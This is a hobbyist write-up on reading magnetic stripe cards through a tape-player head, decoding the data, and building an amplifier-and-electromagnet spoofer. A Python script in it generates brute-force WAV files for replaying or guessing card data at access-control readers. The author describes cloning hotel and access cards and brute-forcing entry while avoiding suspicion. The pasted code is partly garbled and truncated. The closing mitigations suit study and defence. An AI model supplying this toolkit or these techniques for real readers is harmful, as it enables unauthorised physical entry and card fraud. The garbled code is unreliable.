How to assemble your own skimmer

How to assemble your own skimmer Convert magstripe to WAV Overview The basic gist of the system is that there are many t...

2 downloads 176 Views 649KB Size
How to assemble your own skimmer Convert magstripe to WAV Overview The basic gist of the system is that there are many tiny magnets or magnetic particles (usually iron oxide) which are magnetized in a specific manner within a magstripe. Essentially you take the card (or think of it as many magnets) and put it next to a magnetic reader (card reader) which then reads the fields. These fields are then taken to good ol 1′s and 0′s and used within backend systems after a bit of decoding. The magnetic stripe on a card is actually made up of 3 different ‘stripes’ or tracks (usually - different types of cards will have a different number of tracks), right above each other. Each of these tracks can hold different amounts of data and for the basic breakdown you can read up about em at http://www.gae.ucm.es/~padilla/extrawork/tracks.html and http://www.ded.co.uk/magnetic-stripe-cardstandards/ TL;DR – Track 2/3 = Numbers, Track1 = UPPERCASE,numbers

Reading Most magstripes use whats known as F2F/Aiken Biphase/BMC encoding, which determines whether something is a 1 or a 0 by looking at the change within a particular ‘phase’ (the time taken for one cycle). The time for a phase is identified by a series of 0′s at the beginning of each track (essentially just allowing the reader to say okay i see them coming past at x ms). This is known as self-clocking and allows readers to read cards that are pushed through by a human rather than say that of a tape player where it is a fixed speed. This blog post very nicely describes how the reading works: http://www.qualifilms.com/blog/computerscience/2009/06/back-to-basics-reverse-engineering-of-a-non-standard-magstripe-part-one/ with images too! TL;DR It works it out from the changes in the phase and does the timing from the initial 0′s This diagram explains it best:

Reading a Magnetic Stripe

Building a Reader So first things first, I needed to be able to successfully *read* magnetic stripes as an audio file so that I could start playing with them. The easiest way to do this was simply to create a magnetic stripe ‘reader’, there are a few posts on this and they basically come in the form of two options: • Buy one (you can simply purchase a reader practically anywhere and then take it apart to get straight audio out – rather than the decoded wav • Build one (this tech was used all over tape players way back so you can strip em to make one) Because of my limited (read no) budget, I decided to build one from an old tape player.

Taking apart a Tape player Initially I started by going to many different second hand stores, thrift shops and so on to look for a radio with tape player to use for this. Surprisingly people seem to have just thrown most of them away and I couldn’t find *any* near where I stay. However I have read about other people who have found plenty at second hand stores/tips etc. So look around. I found a really cheap one for R80 at a cheap chinese store near me: Anyway, I skillfully (read unskillfully) began disassembling (read destroying) my R80 tape player to get to the read head:

The original Tape Player

Disassembly

Disassembly So after I had carefully (read completely uncarefully, possibly drunk and with all sorts of arb hammering/pulling and breaking) taken apart the packaging I could get to the juicy bits, the actual tape reading mechanism and specifically what I was looking for – the read head:

Read Head (in silver) Next was the process of wiring up the read head (in silver) to the pc. Essentially the one side you need a mono jack (or take a stereo jack and wire a single wire to both sides of it – like i did) which will go into the PC to record the audio. These jacks can be taken from any old set of headphones or you can go and buy one at an electronics store (super cheap). The other side of the cable is simply wired to either side of the magnetic read head as below:

Magnetic Read head

Mono Jack

Reading cards: The next stage after setting up the read head to a mono jack is to read the magnetic data on a card. As said before the ‘tracks’ are actually all on top of each other for generic cards. This page gives you a lot of really good information on the layout of cards and definitely recommended reading. TL;DR: tracks are as follows:

Recording Density Character Configuration Information Content (Bits per inch) (including parity bit) (inclusing control characters) 0.110″ 1 IATA 210 7 bits per character 79 alphanumeric charcters 0.110″ 2 ABA 210 5 bits per character 40 numeric characters 0.110″ 3 THRIFT 210 5 bits per character 107 numeric characters Essentially this means that if you wish to get the track information off you need to use a ruler to get the distance from the card correct and slide the magnetic read head along the edge of the ruler. This is a painful process as the ruler often moves or you are just above or below the track. 0.223″

TRACK

The way I have found to get it to work the best, is to simply find a second hand/broken/cheap TTL/other reader and modify it to have the magnetic read head go straight into the pc, something like this:

Modified TTL Reader

Modified TTL Reader

Working with Audio Now you have a the reader setup, or a painful ruler setup the next step is to get the audio out. Fire up any old sound recorder (I like audacity), connect the Mono plug into the mic jack, hit record and swipe away!

I put up a sample of a generic customer loyality card at soundcloud: http://soundcloud.com/andrew3/card-swipe/s-MvlVg Within audacity you can see it as:

loyality-card Zooming in to the card swipe you can see the data a lot clearer:

loyality-card-zoomed (the data above is the ‘clocking’ zeros followed by the first bits of the card)

How the audio works The ‘audio’ is really just the encoded data, essentially a number of zero’s are seen at the front of the track so that the readers can determine the speed at which the card is moving through and ultimately the time it takes for 1 complete cycle. After it has got this ‘synched’ it will then start determining 1′s and 0′s by looking at whether the wave has changed within the specific period. This is also called Differential Manchester Encode / Bimark Phase Code / Aiken Biphase or F2F. Its almost definitely best explained in images, and these great ones have been stolen from This blog:

Aiken Biphase

Aiken Biphase As you can see above in the first two periods the wave has changed (the period is highlighted in red) and is subsequently a 1 where as in the 3rd and 5th phase it has remained the same (not specific to a high or a low) and is a 0.

Decoding the Audio Major Malfunction has a great selection of python tools over at alcrypto.co.uk ( you’ll need to find the links), one of these being dab.py (Decode Aiken Biphase) – this script takes all the hard work (described previously) in getting the binary data out:

Decode Aiken Biphase

Decoding the Binary So the binary is in the format of a 5 bit character (4 bits for the data and 1 bit for odd-parity checking) and works something like this: Binary data: 11001 First four for data: 1100 Odd-Parity bit: 1 Looking at the above its first important to know that the parity bit (the last 1) is calculated by making sure there are an odd number of 1′s in the five bit sequence. Next you can look at the ‘data’ which is 1100. The data is encoded with the least significant bit first, so the in essence it is read backwards and the actual data is 0011. This data can then be taken to decimal (0111 = 3), it is then shifted up 48 characters in the ASCII character set to return the ASCII value, thus the decimal value is 51 which is a 3. I whipped up a PHP script to do this for the data I got out previously which returns as follows:

Decoding Track3 As you can see in the above screenshot this decodes nicely to “;7353280041358181=491252200000999?” and the first part of that being the number printed on my loyalty card:

Loyalty Card

Code The code is available on pastebin for those interested: http://pastebin.com/h9eVqRxz ";

// this function by mtroy dot student at gmail dot com taken from http://php.net/manual/en/fu function strpos_r($haystack, $needle) { if(strlen($needle) > strlen($haystack)) trigger_error(sprintf("%s: length of argument 2 must be <= argument 1", __FUNCTION $seeks = array(); while($seek = strrpos($haystack, $needle)) { array_push($seeks, $seek); $haystack = substr($haystack, 0, $seek); } return $seeks; } function processBinary($binary) { $AsciiOutput = ""; //find start sentinal $start_sentinal = strpos($binary,"11010"); if($start_sentinal === false) { echo "Could not find start sentinal\n"; return false; } //find end sentinal $end_sentinal = false;

$end_sentinals = strpos_r($binary,"11111"); if(count($end_sentinals) == 0) { echo "Could not find end sentinal\n"; return false; } //Check end sentinal is on a 5 bit boundry foreach($end_sentinals as $es) { $es = $es; if(($es - $start_sentinal) % 5 == 0) { $end_sentinal = $es; } } if($end_sentinal == false) { echo "End sentinal not on correct boundry\n"; return false; } //Lets decode the data: $bit_length = 5; // 4 bits for data, 1 bit for odd-parity or LRC checking $data = substr($binary,$start_sentinal,($end_sentinal-$start_sentinal+5)); $currentBits = ""; $currentNum = 0; $finalString = "";

for($i=0;$i
Going Onwards: So understanding the basics of how magnetic stripes work and how the data is encoded means that should I come into contact with other formats I know what to look for and can mess with them. Also knowing the above means I can write something to encode the data, generate wav files and build a spoofer to replay the attack :)

Write-up: So in I discussed the basics of Magnetic stripes and how the tech works. I like it because its fundamentally simple (perhaps like myself ;). This entry is going to cover spoofing, from building a spoofer to having something read the entries. Ideally you want to have a magreader at this stage, either one of the nifty USB ones that act as an HID device or one that you built that can read the tracks you are interested in. Below is a cheap TTL reader I got (cost about R150, thats ~$20):

TTL Reader

Reverse of TTL Reader

Opened TTL Reader

Wires Connected to Magnetic read heads

Opposite ends connected to mono plug

This is really just so that you can “listen” to what your spoofer can generate. Magnetic stripe spoofers have been done all over the place, so please don’t think I did this, you can see some great examples HERE and HERE. Essentially however the system is dead simple, you have the ‘sound’ that you wish to play (as discussed previously), an amplifier that can crank up the volume to the level that its going to get picked up and an electromagnet (it sounds fancy, its just wire coiled around a piece of metal – more later).

The Amp First up you want to build an amplifier. This seems incredibly daunting to someone who knows f-all about hardware (thats me!), however its not nearly as complicated as what I thought. I built one from an LM386 chip (it seems to be the easiest/most common), the layout for it looks like so:

But really you can find a whole bunch on the net, just hit up the google machine. Really when it comes down to it, you only need: • • • • • •

LM386 220 uF cap 0.05 uF cap Mono Jack 9v Battery Pot

Here you can see mine, complete with terrible wiring,soldering and running on a 9v battery, luck and good feelings:

LM386 Amp Front

LM386 Amp Back

Best way to test the amplifier is to get an old school PC speaker, hook it up and play some audio through it, adjust the pot to check your volume control works and you are good to go. The sound quality isnt that great, but heck it works if you ever need a speaker system too :P

The Electromagnet The next step is to create the electromagnet, essentially what it does is that when current is passed through the coil of wire that is wrapped around a ferromagnetic object an electromagnetic field is created . By turning this on and off rapidly we can create the differences we have seen previously in how magstripes work. So for this part our partlist is as follows: • Coil of thin wire (as thin as you can get without it becoming a hairball — I have 2 at home) • Ferromagnetic core, I just used some plain old sheet steel I read a number of the other magstripe spoof tutorials and it seems that the easiest way was to use either a rectangular piece of steel or an ‘I’ shaped piece of steel (the I makes it easier to wrap the wire around). First thing I did was get these cut out I managed to get a bunch of different strips out, I then used a cut up 2L coke bottle and put the strips in some deoxidene to get them clean:

So once I had nicely cleaned pieces I needed to cover them in very thin wire. Initially I bought what seemed to be hair width hair (0.1 mm enamel/copper wire), my advice to anyone trying to use this is WALK AWAY SCREAMING. Literally I ended up both breaking the wire on the edges of the steel or ending up with a birdsnest where I couldnt actually thread the wire. However if you are looking to punish someone, I recommend this. So I went to another electronics store, bought some 0.25 copper wire and some white marker tape to

blunt the edges and started winding till I had a nice electromagnet:

Now I finally had both my electromagnet and amp together, I really just need to connect the two together. Now the previous video probably makes a bit more sense, essentially what I did was connect the amp to the electromagnet to the output from my pc (at that stage playing Dead Kennedys – California Über Alles ), then on a seperate pc I used the previous magnetic read head connected to another computers microphone input and set the computer to play everything that came into that port. The result was me being able to play audio from one pc to another via my electromagnet:

Object 2

Attacking Now we had the ability to play ‘audio’ through the amplifier and electromagnet AND if you remember from the previous blog entry magstripes really are just audio we had a few options with what we could do: • Replay a card – Since magnetic cards are just a single track and usually not changed during an entry swipe we could make a quick copy of a card and replay it to a reader • Brute force a card – If a cards value is “accesslevel#1″, naturally we could change that from 1 to be 1-99999 and generate audio for just that IMPORTANT: As we have a single magnetic field we are creating we can only replay a SINGLE track at a time, this means that while its great for something like access control and other systems that

generally use one track you arent going to be able to spoof to a reader that is looking for all 3. However with that being said, if you play the tracks back to back often a reader will still see it as the ‘same card’, in practice however its very unlikely that you will come across this.

Generating Audio Adam Laurie (Major Malfunction) – an amazing researcher – previously created a few files (found in the same places as referenced in the last blog post) to not only take wav files apart and give you the ability to identify the data contained within it, but ALSO the ability to create these wavs. Here I created a quick wav file of a sample track 1 for a card, “%B0126672737012367^MOHAWK/ANDREW.MR ^120119850000555 ?” :

After that I got a nice clean audio file out:

The one thing you will instantly notice is that my audio file does not look ANYTHING like the previous audio files we had, these are all square waves where previous they were scintillating sine waves! This is due to the fact that in the code you will notice (# sinewaves need to be half waves to work – can’t be bothered to # figure it out now!), however they work perfectly well as the readers are not decoding the actual waves but the gaps inbetween. Naturally generating the audio this way is a bit of a pain having to first create the magstripe binary string and then create the wav file, so I combined the two into a script I will discuss later. For now I had the audio, I had the amp and I had the electromagnet, on to testing! While testing/debugging I found it very useful to use the audio from the original magstripe ‘audio’ reader created from the TTL device, but later I got my hands on one of the many cheap USB type readers available and could then hear if it was

working correctly (it beeps) as well as see the decoded signal on the screen (its simply an HID device and ‘types’ the output to the screen). Some Problems: So before I get to the final section of replaying and brute forcing, there are a few problems you should note with this. Firstly as discussed previously you cannot spoof multiple tracks at once. The second major problem is the volume output from your amp, as the readers essentially are reading your ‘song’ if the sound is clipping (is too loud) or is too soft the reader will essentially not be able to ‘hear’ your data. You would have seen from my ZaCon talk that my demo failed and that was because I accidentally moved the volume level down on my ipod from 100% (which everything was configured for) to 95%, and such a small volume difference can be all the well.. difference. Lastly readers often have a specific timeout they regard for a card swipe (a time they think the slowest swipe will take) which means that when brute forcing you will need to have a delay between each individual “card” or the device wont give you a positive/negative for it.

Replaying/Spoofing Replaying is pretty trivial, simply record the audio in the method described in the previous post or using the TTL reader you built and then replay it through the amp to the electromagnet, remember to keep the electromagnet close enough to the read head that it can simulate a card passing and the read head can pick this up. To be fair I’d almost never do this, its far easier to simply purchase something like an MSR605 (I picked one up on eBay for relatively cheap) and simply create your own card – Ive done this with many hotel room cards/access control systems without ever having a problem. It means you look a lot less suspicious as you dont have any electronic devices plugged into the gate and if it doesnt work you can quite easily walk away :) It also means that if you do figure out something say that escalates your access control you can simply “write” that card and use that.

Brute Forcing While replaying and spoofing is great, it means you still need access to a card and will always be using that card with its limitations. Many access control systems are trivially implemented and will either be configured individually on the entry system to allow certain cards (such as allow cards 00001/2/3/4/5) or be centrally linked to something that identifies a user (such as a student number for a university – information which can be found publicly). With this in mind the possibility of gaining access becomes a lot more realistic when bruteforcing (presuming of course you have access to a card for the system you are looking into). So after mangling the scripts for my ZaCon talk (I hope this is okay with MM – I did include all his copyright etc) I came up with this:

''' This script was hacked together using Major Malfunctions cab.py and cmsb.py, licenses from th # # # # # # # # # #

cmsb.py: Create MagStripe Binary Convert ASCII data to ABA/IATA binary with LRC Inspired by dmsb.c by Joseph Battaglia Copyright 2006,2007 Major Malfunction version 0.1 (IATA only) http://www.alcrypto.co.uk/ Distributed under the terms of the GNU General Public License v2 version 0.2 (add ABA capability, characterset checking)

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

Parts Copyright 2007 Mansour Moufid Distributed under the terms of the GNU General Public License v3 cab.py: Create Aiken Biphase create a WAV file with arbitrary data in it Copyright(c) 2006, Major Malfunction http://www.alcrypto.co.uk inspired by 'dab.c' by Joseph Battaglia Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. version 0.1: just get the thing working with fixed WAV and other parameters!

Password gen stuff thanks to Nadeem Douba ( @ndouba ) ''' import sys import string from operator import * import wave import sys from struct import * from math import * def _baseN(num, base, numerals): if not num: return numerals[0] if num < 0: return '-' + _baseN((-1) * num, base, numerals) if not 2 <= base <= len(numerals): raise ValueError('Base must be between 2-%d' % len(numerals)) left_digits = num // base if left_digits == 0: return numerals[num % base] else: return _baseN(left_digits, base, numerals) + numerals[num % base]

def baseN(num, numerals="0123456789abcdefghijklmnopqrstuvwxyz", padding=0): n = _baseN(num, len(numerals), numerals) l = len(n) if l < padding:

n = '%s%s' % (numerals[0] * (padding - l), n) newdata.append(data[n]) n= n - 1 data= newdata

return n

peak= 32767 wavedata = [] #Trailing space for x in range(int(22050 * delay)): wavedata.append('\x00\x00') #wavFile.writeframes('\x00\x00') for x in range(20): wavedata.append(pack("h",0)) #wavFile.writeframes(pack("h",0)) # write the actual data # square wave for now n= 0 writedata= peak while n < len(data): if data[n] == '1': for x in range(2): writedata= -writedata for y in range(frequency/4): wavedata.append(pack("h",writedata)) #wavFile.writeframes(pack("h",writedata)) if data[n] == '0': writedata= -writedata for y in range(frequency/2): wavedata.append(pack("h",writedata)) #wavFile.writeframes(pack("h",writedata)) n= n + 1 #for x in range(32000): # wavFile.writeframes('\x00\x00') for x in range(int(22050 * delay)): wavedata.append('\x00\x00') #Doing it this way takes some tests I did from 1min 15secs to 2seconds!!!!!!! value_str = ''.join(wavedata) wavFile.writeframes(value_str) def createAikenBiphase(tracknum,data,padding): if int(tracknum) == 1: bits = 7 base= 32 max= 63 elif int(tracknum) == 2 or int(tracknum) == 3: bits = 5 base= 48 max= 15

zero = '' lrc = [] for x in range(bits): zero += "0" lrc.append(0) output = '' #padding = 0 for x in range(padding): output += zero for x in range( len(data) ): raw = ord(data[x]) - base if raw < 0 or raw > max: print 'Illegal character:', chr(raw+base) sys.exit(False) parity = 1 for y in range(bits-1): output += str(raw >> y & 1) parity += raw >> y & 1 lrc[y] = xor(lrc[y], raw >> y & 1) output += chr((parity % 2) + ord('0')) parity = 1 for x in range(bits - 1): output += chr(lrc[x] + ord('0')) parity += lrc[x] output += chr((parity % 2) + ord('0')) return output

if len(sys.argv) < 5: print "createWavs.py v0.01" print "Usage: %s OutputFile.wav <[r]everse> ,? sys.exit(False) print "-------------------------------------------------" print " Marty McFly's Wav Generator " print " Generating Aiken Biphase Wav Files " print " by Andrew MacPherson (@AndrewMohawk) " print "-------------------------------------------------" tracknum = int(sys.argv[1]) data = sys.argv[2] padding = 0 if(len(sys.argv) > 4): padding = int(sys.argv[4]) samplesPerBit = 15 if(len(sys.argv) > 5): samplesPerBit = int(sys.argv[5]) reverse = False if(len(sys.argv) > 6) and (sys.argv[6] == 'r'):

reverse = True delay=0 if(len(sys.argv) > 7): delay = float(sys.argv[7]) results = [] numStars = data.count("*") print "[+] Found %s number of brute force fields" % numStars bruteForceList = []; if(tracknum == 1): for z in range(32,95): bruteForceList.append(chr(z)) if(tracknum == 2 or tracknum ==3): for z in range(48,64): bruteForceList.append(chr(z)) #print bruteForceList #exit(0) #bruteForceList = ['A','B'] if (numStars > 0): print "[+] Generating Aiken Biphase... " pfmt = data i = 0 while True: n = baseN(i, bruteForceList, numStars) if len(n) > numStars: break tmp = pfmt for c in n: tmp = tmp.replace('*', c, 1) #results.append(tmp) results.append(createAikenBiphase(tracknum,tmp,padding)) i += 1 else: results.append(createAikenBiphase(tracknum,data,padding)) print "[+] Generated %s Results" % len(results) print "[+] Building consecutive wav file.." wavFile=wave.open(sys.argv[3],"w") params= (1, 2, 22050, 0L, 'NONE', 'not compressed') wavFile.setparams(params) for r in results: createSquareWav(wavFile,samplesPerBit,r,reverse,delay) wavFile.close()

http://waa.ai/vExi/66277b Essentially the script allowed you to create a longer wave file that you would play to the device with the following options: * Track Number (remember we can only do 1 at a time) * How many padding 0′s we should use * How many samples per bit we would create in the audio file (essentially how big the gaps are) * Reversing of the data (y/n)

* Delay inbetween tracks to ensure that you give the reader enough time to process it. I could then place a * within the data which would try every possible combination for that point (depending on which track you were using) and get a ‘brute force’ wav file back :) From here I could then connect everything up, create a wav file which I put onto an audio player (simply so I wasnt using a laptop) and with a tiny device brute force my way in.

Conclusion Magstripes are old tech and are definitely susceptible to brute force and replay attacks via a few Rands (or dollars) of equipment. There are limitations that can make this a lot harder such as: 1. Checking that multiple tracks are being read at once (it costs more for the readers, but its access we are talking about) 2. Logging possible brute force attempts (and having higher read timeouts, costing attackers time when trying to brute force) 3. Lockout conditions if a card is used multiple times in an unusual manner (although this could provide a DoS scenario for an attacker) 4. Encryption on the card data means that the person brute forcing would need to figure out how your data is encrypted first